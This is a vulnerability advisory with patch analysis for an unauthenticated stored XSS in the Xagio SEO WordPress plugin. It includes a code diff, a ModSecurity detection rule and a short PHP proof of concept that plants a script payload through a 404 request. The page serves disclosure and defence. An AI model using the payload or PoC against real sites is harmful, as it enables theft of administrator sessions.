Published : November 28, 2026

CVE-2026-136211: Xagio SEO & AEO <= 7.1.0.54 Unauthenticated Stored Cross-Site Scripting via 404 Log Slug via REQUEST_URI PoC, Patch Analysis & Rule

Plugin xagio-seo
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 7.1.0.54
Patched Version 7.1.0.55
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136211: Xagio SEO & AEO <= 7.1.0.54 is a WordPress plugin vulnerable to unauthenticated stored cross-site scripting (XSS) through the 404 logging feature. The vulnerability resides in the plugin's handling of the 'REQUEST_URI' parameter, which is used to log 404 requests. The CVSS score is 6.1, and the CWE is 79 (Improper Neutralization of Input During Web Page Generation). Atomic Edge research confirms the attack requires an administrator to later use the 'Add 301 Redirect' workflow on the logged 404 row, which writes the malicious payload into the redirects table and renders it unescaped in the admin's browser. Successful exploitation requires this additional admin action.

Root Cause: The root cause is insufficient input sanitization and output escaping in the 404 logging and redirect creation functions. In xagio-seo/modules/redirects/models/xagio_log404.php, the function that builds the 404 URL (lines 290-300 in the vulnerable version) uses sanitize_url(wp_unslash($_SERVER['REQUEST_URI'])) on REQUEST_URI. sanitize_url() does not strip HTML entities, so an encoded double quote (e.g., ") survives. This value is stored in the 404 log. Later, when an administrator uses the 'Add 301 Redirect' workflow (in xagio_log404.php around line 672 or xagio_redirects.php around line 119), the logged 404 URL is passed to add404Redirect() or addRedirect(), which use sanitize_text_field(wp_unslash($_POST['old404URL'])) or similar. sanitize_text_field() decodes HTML entities, turning the stored " back into a literal double quote. This quote is then written to the redirects table without further escaping. When the redirects list is rendered in the admin panel, the value is output without proper escaping, allowing script execution. The patch adds a new cleanRequestUri() method in xagio_log404.php and cleanPath() in xagio_redirects.php, which decode HTML entities and remove dangerous characters ('"', '’, ‘`’) before sanitization.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to any non-existent URL on the WordPress site, with the REQUEST_URI containing an encoded double quote and script payload. For example: GET /nonexistent?x="><script>alert(document.cookie)</script> HTTP/1.1. The plugin logs this URI in the 404 log database. Later, an administrator views the 404 log in the plugin’s admin interface and clicks ‘Add 301 Redirect’ for that entry. The workflow reads the stored payload from $_POST[‘old404URL’] (or similar), which contains the encoded quote. The sanitization functions decode the entity, resulting in a literal double quote and script tags. This payload is saved into the redirects table. When the admin page displaying the redirects is loaded, the payload is echoed without escaping, causing the script to execute in the admin’s browser. Atomic Edge analysis notes that the attacker cannot trigger the vulnerability alone; an administrator must perform the redirect creation step.

Patch Analysis: The patch fixes the vulnerability by adding a new method cleanRequestUri() in xagio_log404.php (lines 300-310) and cleanPath() in xagio_redirects.php (lines 102-110). These methods decode HTML entities using html_entity_decode() and then remove characters that could break out of HTML attributes (‘”‘, ”, ‘`’) before applying sanitize_url() or sanitize_text_field(). The patch also updates all relevant calls to use these new methods: in get404URL() and getCurrentSlug() in xagio_log404.php, and in add404Redirect(), addRedirect(), and editRedirect() in xagio_redirects.php. Additionally, the patch modifies the output escaping for reviews (display_reviews.php) and adds meta protection for Xagio’s custom fields (xagio_seo.php), but the core fix for this CVE is the sanitization of the REQUEST_URI and redirect paths. Before the patch, encoded quotes could survive and be decoded later; after the patch, such characters are stripped immediately, preventing the payload from being stored and later executed.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session hijacking, creation of new admin accounts, modification of site content, or redirection of users to malicious sites. The attack requires social engineering to convince an administrator to use the ‘Add 301 Redirect’ feature on the malicious logged entry, but the initial injection is unauthenticated. Atomic Edge research rates the overall risk as moderate due to the required admin interaction, but the potential for full site compromise is significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/xagio-seo/inc/xagio_export.php
+++ b/xagio-seo/inc/xagio_export.php
@@ -85,7 +85,7 @@
                     $out = self::uploads($cursor, $limit);
                     break;
                 case 'prepare':
-                    $out = ['item' => self::prepare()];
+                    $out = ['item' => self::prepareSite()];
                     break;
                 case 'crawl_pass':
                     $out = ['item' => self::crawlPass((string) $request->get_param('job'), (int) $request->get_param('ttl'))];
@@ -1283,7 +1283,7 @@
          *  prepare: fresh, consistent builder CSS and empty page caches before the crawl
          * ============================================================================================== */

-        private static function prepare()
+        private static function prepareSite()
         {
             $done = ['elementor_css' => null, 'divi_cache' => null, 'page_caches' => []];

--- a/xagio-seo/modules/aisettings/models/xagio_llms.php
+++ b/xagio-seo/modules/aisettings/models/xagio_llms.php
@@ -256,6 +256,8 @@
             $posts = get_posts([
                 'post_type'      => $post_type,
                 'post_status'    => 'publish',
+                // Password-protected posts are not public, so they are left out
+                'has_password'   => false,
                 'posts_per_page' => $max_items,
                 'orderby'        => 'menu_order title',
                 'order'          => 'ASC',
--- a/xagio-seo/modules/aisettings/models/xagio_okf.php
+++ b/xagio-seo/modules/aisettings/models/xagio_okf.php
@@ -31,6 +31,10 @@
         // Hard ceiling: the whole bundle lives in one wp_option row.
         const MAX_POSTS = 1000;

+        // Bump to drop bundles built by older versions (v2: password-protected posts left out)
+        const OPTION_BUNDLE_VERSION = 'XAGIO_OKF_BUNDLE_VERSION';
+        const BUNDLE_VERSION        = 2;
+
         public static function initialize()
         {
             add_action('init', ['XAGIO_MODEL_OKF', 'addRewrite']);
@@ -39,6 +43,13 @@

             // Build-on-change: flag on content edits, rebuild once on shutdown (mirrors sitemaps).
             if (get_option(self::OPTION_ENABLED) === '1') {
+                // A bundle from an older version may hold content that is no longer served: drop it so it is rebuilt
+                if ((int) get_option(self::OPTION_BUNDLE_VERSION) !== self::BUNDLE_VERSION) {
+                    delete_option(self::OPTION_BUNDLE);
+                    update_option(self::OPTION_NEEDS_REBUILD, 1, false);
+                    update_option(self::OPTION_BUNDLE_VERSION, self::BUNDLE_VERSION);
+                }
+
                 add_action('save_post', ['XAGIO_MODEL_OKF', 'onSavePostInvalidate'], 20, 3);
                 add_action('transition_post_status', ['XAGIO_MODEL_OKF', 'onTransitionInvalidate'], 10, 3);
                 add_action('trashed_post', ['XAGIO_MODEL_OKF', 'invalidate']);
@@ -761,6 +772,8 @@
             $posts = get_posts([
                 'post_type'        => $types,
                 'post_status'      => 'publish',
+                // Password-protected posts are not public, so their content must not be served
+                'has_password'     => false,
                 'posts_per_page'   => self::MAX_POSTS,
                 'orderby'          => 'date',
                 'order'            => 'DESC',
--- a/xagio-seo/modules/nichehunter/models/xagio_nichehunter.php
+++ b/xagio-seo/modules/nichehunter/models/xagio_nichehunter.php
@@ -195,7 +195,7 @@
             if(is_array($xagio_output)) {
                 foreach ($xagio_output as $o) {
                     if (!is_array($o)) continue;
-                    $o['filters'] = unserialize($o['filters']);
+                    $o['filters'] = is_string($o['filters']) ? @unserialize($o['filters'], ['allowed_classes' => FALSE]) : $o['filters'];
                     $OUT[]        = $o;
                 }
             }
--- a/xagio-seo/modules/projectplanner/models/xagio_projects.php
+++ b/xagio-seo/modules/projectplanner/models/xagio_projects.php
@@ -655,42 +655,39 @@

             $group_id = $wpdb->insert_id;

-            $likeKeywords = [];
+            $likeValues = [];
             foreach ($keywords as $keyword) {
-                $keyword        = '%' . $wpdb->esc_like(trim($keyword)) . '%';
-                $likeKeywords[] = $wpdb->prepare("keyword LIKE %s", $keyword);
+                $keyword = trim($keyword);
+                if ($keyword === '') {
+                    continue;
+                }
+                $likeValues[] = '%' . $wpdb->esc_like($keyword) . '%';
             }
             unset($keywords);

-            $likeKeywords = implode(" OR ", $likeKeywords);
-            $likeKeywords = "($likeKeywords)";
-
-            // Create placeholders for project group IDs
-            $groupIdsPlaceholders = implode(", ", array_fill(0, count($project_group_ids), '%d'));
-
-            // Merge group IDs with likeKeywords into a single array
-            $queryParams = array_merge(array_map('absint', $project_group_ids), [sanitize_text_field($likeKeywords)]);
-
-            // Prepare and execute the query
-            $updateKeywords = $wpdb->get_results(
-                $wpdb->prepare(
-                    "SELECT id FROM xag_keywords WHERE group_id IN ($groupIdsPlaceholders) AND %s", ...$queryParams
-                ), ARRAY_A
-            );
-
-            unset($likeKeywords);
-
             $keywordIDs = [];
-            foreach ($updateKeywords as $uk) {
-                $keywordIDs[] = $uk['id'];
+            if (!empty($project_group_ids) && !empty($likeValues)) {
+                // One placeholder per group ID and per keyword, so the whole query goes through prepare()
+                $groupIdsPlaceholders = implode(", ", array_fill(0, count($project_group_ids), '%d'));
+                $likePlaceholders     = implode(" OR ", array_fill(0, count($likeValues), 'keyword LIKE %s'));
+
+                $keywordIDs = $wpdb->get_col(
+                    $wpdb->prepare(
+                        "SELECT id FROM xag_keywords WHERE group_id IN ($groupIdsPlaceholders) AND ($likePlaceholders)", ...array_merge(array_map('absint', $project_group_ids), $likeValues)
+                    )
+                );
             }
-            unset($updateKeywords);
+            unset($likeValues);

-            $wpdb->update('xag_projects', [
-                'group_id' => $group_id
-            ], [
-                'id' => $keywordIDs
-            ]);
+            // Move the matching keywords into the new seed group
+            if (!empty($keywordIDs)) {
+                $xagio_placeholders = implode(", ", array_fill(0, count($keywordIDs), '%d'));
+                $wpdb->query(
+                    $wpdb->prepare(
+                        "UPDATE xag_keywords SET group_id = %d WHERE id IN ($xagio_placeholders)", $group_id, ...array_map('absint', $keywordIDs)
+                    )
+                );
+            }

             xagio_jsonc([
                 'project_id' => $project_id
--- a/xagio-seo/modules/redirects/models/xagio_log404.php
+++ b/xagio-seo/modules/redirects/models/xagio_log404.php
@@ -290,18 +290,30 @@

             $slug = '';
             if (isset($_SERVER['REQUEST_URI'])) {
-                $slug = sanitize_url(wp_unslash($_SERVER['REQUEST_URI']));
+                $slug = self::cleanRequestUri(wp_unslash($_SERVER['REQUEST_URI']));
             }

             $xagio_url = $urlProtocol . '://' . $serverName . $slug;
             return $xagio_url;
         }

+        /**
+         * The request path as stored in the 404 log. HTML entities are decoded before sanitize_url(), so an
+         * encoded quote (", ") is stripped like a literal one instead of being stored and turned back
+         * into a quote by the browser later (Wordfence report: 404 log -> Add 301 Redirect -> stored XSS).
+         */
+        public static function cleanRequestUri($uri)
+        {
+            $uri = html_entity_decode((string) $uri, ENT_QUOTES | ENT_HTML5, 'UTF-8');
+            $uri = str_replace(['"', '<', '>', '`'], '', $uri);
+            return sanitize_url($uri);
+        }
+
         public static function getCurrentSlug()
         {
             $slug = '';
             if (isset($_SERVER['REQUEST_URI'])) {
-                $slug = sanitize_url(wp_unslash($_SERVER['REQUEST_URI']));
+                $slug = self::cleanRequestUri(wp_unslash($_SERVER['REQUEST_URI']));
             }
             return $slug;
         }
@@ -660,7 +672,7 @@
             check_ajax_referer('xagio_nonce', '_xagio_nonce');

             if (isset($_POST['old404URL']) && isset($_POST['newURL'])) {
-                self::add404Redirect(sanitize_text_field(wp_unslash($_POST['old404URL'])), sanitize_text_field(wp_unslash($_POST['newURL'])));
+                self::add404Redirect(XAGIO_MODEL_REDIRECTS::cleanPath($_POST['old404URL']), XAGIO_MODEL_REDIRECTS::cleanPath($_POST['newURL']));
             }
             xagio_json('error', '404 URL not fetched! Please add this URL from 301 redirects.');
         }
--- a/xagio-seo/modules/redirects/models/xagio_redirects.php
+++ b/xagio-seo/modules/redirects/models/xagio_redirects.php
@@ -99,6 +99,18 @@

         }

+        /**
+         * A redirect path or URL from the admin screens: plain text, HTML entities decoded and then the
+         * characters that could end a double-quoted HTML attribute or open a tag removed (" < > `). A path never needs
+         * them; a value logged from a 404 could otherwise bring an encoded quote back as a real one.
+         */
+        public static function cleanPath($raw)
+        {
+            $v = sanitize_text_field(wp_unslash((string) $raw));
+            $v = html_entity_decode($v, ENT_QUOTES | ENT_HTML5, 'UTF-8');
+            return trim(str_replace(['"', '<', '>', '`'], '', $v));
+        }
+
         public static function addRedirect()
         {
             check_ajax_referer('xagio_nonce', '_xagio_nonce');
@@ -107,8 +119,8 @@
                 wp_die('Required parameters are missing.', 'Missing Parameters', ['response' => 400]);
             }

-            $oldURL = sanitize_text_field(wp_unslash($_POST['oldURL']));
-            $newURL = sanitize_text_field(wp_unslash($_POST['newURL']));
+            $oldURL = self::cleanPath($_POST['oldURL']);
+            $newURL = self::cleanPath($_POST['newURL']);

             self::add($oldURL, $newURL);
         }
@@ -124,8 +136,8 @@
             }

             $id     = intval($_POST['id']);
-            $oldURL = sanitize_text_field(wp_unslash($_POST['oldURL']));
-            $newURL = sanitize_text_field(wp_unslash($_POST['newURL']));
+            $oldURL = self::cleanPath($_POST['oldURL']);
+            $newURL = self::cleanPath($_POST['newURL']);

             $oldURL = trim($oldURL, '/');
             $newURL = trim($newURL, '/');
--- a/xagio-seo/modules/reviews/metabox/display_reviews.php
+++ b/xagio-seo/modules/reviews/metabox/display_reviews.php
@@ -95,17 +95,18 @@
             $xagio_date = gmdate('d, M Y', strtotime($xagio_r['date']));

             // Stars
-            $xagio_full_stars  = $xagio_r['rating'];
-            $xagio_empty_stars = 5 - $xagio_r['rating'];
+            $xagio_full_stars  = max(0, min(5, intval($xagio_r['rating'])));
+            $xagio_empty_stars = 5 - $xagio_full_stars;

             // Review Author
             $xagio_name = '';
-            if (!empty($xagio_r['name'])) $xagio_name = '<b>' . stripslashes($xagio_r['name']) . '</b> <br>';
-            if (!empty($xagio_r['website'])) $xagio_name = '<a href="' . $xagio_r['website'] . '" target="_blank">' . $xagio_name . '</a>';
-            if (!empty($xagio_r['age'])) $xagio_name .= $xagio_r['age'];
-            if (!empty($xagio_r['location'])) $xagio_name .= ' from ' . $xagio_r['location'];
-            if (!empty($xagio_r['email'])) $xagio_name .= ' (<a style="color: blue;" href="mailto:' . $xagio_r['email'] . '" target="_blank"><i class="xagio-icon xagio-icon-at"></i></a>)';
-            if (!empty($xagio_r['telephone'])) $xagio_name .= ' (<a style="color: blue;" href="tel:' . $xagio_r['telephone'] . '" target="_blank"><i class="xagio-icon xagio-icon-phone"></i></a>)';
+            // Every field comes from a public form, so each one is escaped for the spot it lands in
+            if (!empty($xagio_r['name'])) $xagio_name = '<b>' . esc_html(stripslashes($xagio_r['name'])) . '</b> <br>';
+            if (!empty($xagio_r['website'])) $xagio_name = '<a href="' . esc_url($xagio_r['website']) . '" target="_blank" rel="nofollow noopener">' . $xagio_name . '</a>';
+            if (!empty($xagio_r['age'])) $xagio_name .= esc_html(intval($xagio_r['age']));
+            if (!empty($xagio_r['location'])) $xagio_name .= ' from ' . esc_html(stripslashes($xagio_r['location']));
+            if (!empty($xagio_r['email'])) $xagio_name .= ' (<a style="color: blue;" href="' . esc_url('mailto:' . sanitize_email($xagio_r['email'])) . '" target="_blank"><i class="xagio-icon xagio-icon-at"></i></a>)';
+            if (!empty($xagio_r['telephone'])) $xagio_name .= ' (<a style="color: blue;" href="' . esc_attr('tel:' . preg_replace('/[^0-9+]/', '', $xagio_r['telephone'])) . '" target="_blank"><i class="xagio-icon xagio-icon-phone"></i></a>)';

             // Limit Reviews
             $xagio_limit_class = '';
@@ -146,7 +147,7 @@
                     <div class="prs-review-body"><?php echo esc_html(stripslashes($xagio_r['review'])); ?></div>
                 <?php } ?>

-                <div class="prs-review-author"><?php echo wp_kses_post(stripslashes($xagio_name)); ?></div>
+                <div class="prs-review-author"><?php echo wp_kses_post($xagio_name); ?></div>

             </div>

--- a/xagio-seo/modules/reviews/models/xagio_reviews.php
+++ b/xagio-seo/modules/reviews/models/xagio_reviews.php
@@ -989,7 +989,7 @@
                 'name'       => isset($_POST['name']) ? sanitize_text_field(wp_unslash($_POST['name'])) : 'n/a',
                 'review'     => isset($_POST['review']) ? sanitize_text_field(wp_unslash($_POST['review'])) : 'n/a',
                 'title'      => isset($_POST['title']) ? sanitize_text_field(wp_unslash($_POST['title'])) : 'n/a',
-                'rating'     => isset($_POST['rating']) ? intval($_POST['rating']) : 5,
+                'rating'     => isset($_POST['rating']) ? max(1, min(5, intval($_POST['rating']))) : 5,
                 'email'      => isset($_POST['email']) ? sanitize_email(wp_unslash($_POST['email'])) : 'n/a',
                 'website'    => isset($_POST['website']) ? sanitize_url(wp_unslash($_POST['website'])) : 'n/a',
                 'telephone'  => isset($_POST['telephone']) ? sanitize_text_field(wp_unslash($_POST['telephone'])) : 'n/a',
--- a/xagio-seo/modules/seo/models/xagio_seo.php
+++ b/xagio-seo/modules/seo/models/xagio_seo.php
@@ -43,6 +43,12 @@
                 'saveSeoSearch'
             ]);

+            // Xagio's post meta is written by the plugin only, never through core Custom Fields / REST / XML-RPC
+            add_filter('is_protected_meta', [
+                'XAGIO_MODEL_SEO',
+                'protectMeta'
+            ], 10, 3);
+
             add_filter('post_row_actions', [
                 'XAGIO_MODEL_SEO',
                 'duplicatePostButton'
@@ -515,6 +521,10 @@
             $post_id = abs(intval($_POST['post_id']));
             $status  = abs(intval($_POST['status']));

+            if (!current_user_can('edit_post', $post_id)) {
+                wp_die('You are not allowed to edit this post.', 'Forbidden', ['response' => 403]);
+            }
+
             update_post_meta($post_id, 'XAGIO_SEO', $status);

         }
@@ -661,6 +671,51 @@
             }
         }

+        /** What a page's own header / body / footer scripts may contain: script tags only (also enforced on output). */
+        public static function scriptAllowedTags()
+        {
+            return [
+                'script' => [
+                    'src'            => true,
+                    'type'           => true,
+                    'async'          => true,
+                    'defer'          => true,
+                    'crossorigin'    => true,
+                    'integrity'      => true,
+                    'nomodule'       => true,
+                    'charset'        => true,
+                    'referrerpolicy' => true,
+                    'id'             => true,
+                    'class'          => true,
+                    'data-*'         => true
+                ]
+            ];
+        }
+
+        /**
+         * A page's own scripts (XAGIO_SEO_SCRIPTS_HEADER / _BODY / _FOOTER) as they may be printed: through the same
+         * script-only allow-list savePost() applies, so a value written some other way (core Custom Fields before
+         * these keys were protected) cannot add other tags or event handlers. Returned slashed like the stored value,
+         * because the caller runs stripslashes_deep() on the whole block.
+         */
+        public static function postScripts($post_id, $key)
+        {
+            $value = get_post_meta($post_id, $key, TRUE);
+            if (!is_string($value) || $value === '') {
+                return '';
+            }
+            return addslashes(wp_kses(stripslashes($value), self::scriptAllowedTags()));
+        }
+
+        /** is_protected_meta: Xagio's post meta (XAGIO_*, the legacy ps_seo_*) can only be written by the plugin itself. */
+        public static function protectMeta($protected, $meta_key, $meta_type)
+        {
+            if ($meta_type === 'post' && is_string($meta_key) && (strpos($meta_key, 'XAGIO_') === 0 || strpos($meta_key, 'ps_seo_') === 0)) {
+                return true;
+            }
+            return $protected;
+        }
+
         public static function renderCustomHeaderScripts()
         {
             if (XAGIO_DISABLE_SCRIPTS_LOGGED_IN == TRUE) {
@@ -686,10 +741,10 @@
                         if ($XAGIO_SEO_SCRIPTS_ENABLE === "") {
                             $scripts = '';
                         } else {
-                            $scripts = get_post_meta($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_HEADER', TRUE);
+                            $scripts = self::postScripts($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_HEADER');
                         }
                     } else {
-                        $scripts = get_post_meta($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_HEADER', TRUE);
+                        $scripts = self::postScripts($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_HEADER');
                     }


@@ -741,10 +796,10 @@
                         if ($XAGIO_SEO_SCRIPTS_ENABLE === "") {
                             $scripts = '';
                         } else {
-                            $scripts = get_post_meta($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_FOOTER', TRUE);
+                            $scripts = self::postScripts($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_FOOTER');
                         }
                     } else {
-                        $scripts = get_post_meta($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_FOOTER', TRUE);
+                        $scripts = self::postScripts($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_FOOTER');
                     }

                     if ($disable_global != 1) {
@@ -795,10 +850,10 @@
                         if ($XAGIO_SEO_SCRIPTS_ENABLE === "") {
                             $scripts = '';
                         } else {
-                            $scripts = get_post_meta($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_BODY', TRUE);
+                            $scripts = self::postScripts($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_BODY');
                         }
                     } else {
-                        $scripts = get_post_meta($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_BODY', TRUE);
+                        $scripts = self::postScripts($xagio_object->ID, 'XAGIO_SEO_SCRIPTS_BODY');
                     }

                     if ($disable_global != 1) {
@@ -1021,6 +1076,10 @@
             $post_id = abs(intval($_POST['post_id']));
             $status  = abs(intval($_POST['status']));

+            if (!current_user_can('edit_post', $post_id)) {
+                wp_die('You are not allowed to edit this post.', 'Forbidden', ['response' => 403]);
+            }
+
             update_post_meta($post_id, 'XAGIO_SEO_SEARCH_PREVIEW_ENABLE', $status);

         }
@@ -2102,22 +2161,7 @@
                 }
             }

-            $allowed_tags = [
-                'script' => [
-                    'src'            => true,
-                    'type'           => true,
-                    'async'          => true,
-                    'defer'          => true,
-                    'crossorigin'    => true,
-                    'integrity'      => true,
-                    'nomodule'       => true,
-                    'charset'        => true,
-                    'referrerpolicy' => true,
-                    'id'             => true,
-                    'class'          => true,
-                    'data-*'         => true
-                ]
-            ];
+            $allowed_tags = self::scriptAllowedTags();

             // Define field configurations with their sanitization functions
             $field_configs = [
--- a/xagio-seo/modules/settings/models/xagio_settings.php
+++ b/xagio-seo/modules/settings/models/xagio_settings.php
@@ -197,6 +197,26 @@
                 ]);
             }

+            // Rebuild the rewrite rules only when the category base setting or the category slugs change
+            add_action('wp_loaded', [
+                'XAGIO_MODEL_SETTINGS',
+                'maybeFlushRewriteRules'
+            ]);
+        }
+
+        public static function maybeFlushRewriteRules()
+        {
+            $state = 'off';
+            if (XAGIO_REMOVE_CATEGORY_BASE) {
+                $slugs = get_categories(['hide_empty' => false, 'fields' => 'id=>slug']);
+                $state = md5(wp_json_encode(is_array($slugs) ? $slugs : []));
+            }
+
+            if (get_option('XAGIO_CATEGORY_REWRITE_STATE') === $state) {
+                return;
+            }
+
+            update_option('XAGIO_CATEGORY_REWRITE_STATE', $state);
             flush_rewrite_rules();
         }

@@ -871,19 +891,10 @@
             xagio_jsonc(XAGIO_MODEL_BACKUPS::doBackup());
         }

-        public static function exportOptions()
+        // Options that the settings export writes and the import accepts
+        private static function exportOptionKeys()
         {
-            check_ajax_referer('xagio_nonce', '_xagio_nonce');
-
-            // Set headers for plain text and JSON download
-            header("Content-type: text/plain");
-            header('Content-Disposition: attachment; filename=Xagio_Export_Settings_' . gmdate('Y-m-d_H:i:s') . '.psexp');
-            header('Content-type: application/json');
-
-            global $wpdb;
-
-            // List of options to export
-            $all_wp_options = [
+            return [
                 'XAGIO_DISABLE_HTML_FOOTPRINT',
                 'XAGIO_DISABLE_WP_CANONICALS',
                 'XAGIO_FORCE_HOMEPAGE_SCHEMA',
@@ -923,18 +934,12 @@
                 'XAGIO_RECAPTCHA',
                 'ps_remove_footprint'
             ];
+        }

-            $return = [];
-            // Collect all options
-            foreach ($all_wp_options as $wp_option) {
-                $option_value = get_option($wp_option);
-                if ($option_value !== false) {
-                    $return['options'][$wp_option] = $option_value;
-                }
-            }
-
-            // List of post meta to export
-            $all_post_meta = [
+        // Post meta that the settings export writes and the import accepts
+        private static function exportMetaKeys()
+        {
+            return [
                 'XAGIO_SEO',
                 'XAGIO_SEO_SEARCH_PREVIEW_ENABLE',
                 'XAGIO_SEO_SOCIAL_ENABLE',
@@ -958,12 +963,39 @@
                 'XAGIO_SEO_FACEBOOK_IMAGE',
                 'XAGIO_SEO_NOTES',
             ];
+        }
+
+        public static function exportOptions()
+        {
+            check_ajax_referer('xagio_nonce', '_xagio_nonce');
+
+            // Set headers for plain text and JSON download
+            header("Content-type: text/plain");
+            header('Content-Disposition: attachment; filename=Xagio_Export_Settings_' . gmdate('Y-m-d_H:i:s') . '.psexp');
+            header('Content-type: application/json');
+
+            global $wpdb;
+
+            // List of options to export
+            $all_wp_options = self::exportOptionKeys();
+
+            $return = [];
+            // Collect all options
+            foreach ($all_wp_options as $wp_option) {
+                $option_value = get_option($wp_option);
+                if ($option_value !== false) {
+                    $return['options'][$wp_option] = $option_value;
+                }
+            }
+
+            // List of post meta to export
+            $all_post_meta = self::exportMetaKeys();

             $by_id = [];
             // Collect all post meta
             foreach ($all_post_meta as $meta_key) {
                 // Securely prepare the query using wpdb::prepare
-                $results = $wpdb->get_results($wpdb->prepare("SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE meta_key = %s", $meta_key), ARRAY_A);
+                $results = $wpdb->get_results($wpdb->prepare("SELECT post_id, meta_key, meta_value FROM {$wpdb->postmeta} WHERE meta_key = %s", $meta_key), ARRAY_A);

                 // Organize results by post ID
                 foreach ($results as $xagio_result) {
@@ -1014,15 +1046,29 @@
                 $options  = $json['options'];
                 $postmeta = $json['postmeta'];

+                // Only the keys the export writes, so a crafted file cannot change other WordPress settings
+                $allowed_options = self::exportOptionKeys();
+                $allowed_meta    = self::exportMetaKeys();
+
                 foreach ($options as $xagio_key => $option) {
+                    if (!in_array($xagio_key, $allowed_options, TRUE)) {
+                        continue;
+                    }
                     update_option($xagio_key, $option);
                 }

                 foreach ($postmeta as $xagio_key => $metas) {
-                    $post_id = $xagio_key;
-                    if (get_post_status($post_id) != FALSE) {
+                    $post_id = absint($xagio_key);
+                    if ($post_id && get_post_status($post_id) != FALSE && is_array($metas)) {
                         foreach ($metas as $xagio_value) {
-                            update_post_meta($post_id, $xagio_value['meta_key'], maybe_unserialize($xagio_value['meta_value']));
+                            if (!isset($xagio_value['meta_key'], $xagio_value['meta_value']) || !in_array($xagio_value['meta_key'], $allowed_meta, TRUE)) {
+                                continue;
+                            }
+                            $meta_value = $xagio_value['meta_value'];
+                            if (is_serialized($meta_value)) {
+                                $meta_value = @unserialize(trim($meta_value), ['allowed_classes' => FALSE]);
+                            }
+                            update_post_meta($post_id, $xagio_value['meta_key'], $meta_value);
                         }
                     }
                 }
--- a/xagio-seo/xagio-seo.php
+++ b/xagio-seo/xagio-seo.php
@@ -3,7 +3,7 @@
  * Plugin Name: Xagio SEO - AI Powered SEO
  * Plugin URI: https://xagio.net/
  * Description: WordPress Management & AI Search Engine Optimization combined. Do everything from a single location with one software.
- * Version: 7.1.0.54
+ * Version: 7.1.0.55
  * Author: Xagio
  * Author URI: https://xagio.com
  * License: GPLv3 or later

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136211
# This rule targets the unauthenticated stored XSS via the 404 log slug.
# It blocks requests with a REQUEST_URI containing HTML-encoded script tags,
# which are used in the exploit. Legitimate requests rarely contain such patterns.
SecRule REQUEST_URI "@rx (?i)(%26%23x?3c%3b|%26lt%3b|<).{0,50}(%26%23x?3e%3b|%26gt%3b|>).{0,50}(%26%23x?3c%3b|%26lt%3b|<)s*script" 
    "id:2026136211,phase:1,deny,status:403,msg:'CVE-2026-136211: Encoded script tag in REQUEST_URI - potential stored XSS',severity:'CRITICAL',tag:'CVE-2026-136211',logdata:'%{MATCHED_VAR}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136211 - Xagio SEO & AEO <= 7.1.0.54 - Unauthenticated Stored Cross-Site Scripting via 404 Log Slug via REQUEST_URI

// This PoC demonstrates the vulnerability by sending a crafted request to a WordPress site
// with the Xagio SEO plugin installed. The request contains an encoded XSS payload in the
// REQUEST_URI, which gets logged in the 404 log. An administrator must then use the
// 'Add 301 Redirect' feature to trigger the stored XSS.

// Target WordPress site URL (change to your test site)
$target_url = 'http://example.com';

// The malicious payload: an encoded double quote to break out of an attribute,
// followed by a script tag. This will be part of the REQUEST_URI.
$payload = '"><script>alert(document.cookie)</script>';

// The full path to request, which will be logged as a 404
$path = '/this-page-does-not-exist-' . $payload;

// Build the full URL
$url = rtrim($target_url, '/') . $path;

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, true);

// Execute the request
echo "Sending request to: $urln";
$response = curl_exec($ch);

if ($response === false) {
    echo "cURL error: " . curl_error($ch) . "n";
} else {
    echo "Request sent. The payload should now be stored in the 404 log.n";
    echo "An administrator must visit the plugin's 404 log and use 'Add 301 Redirect' on this entry to trigger the XSS.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
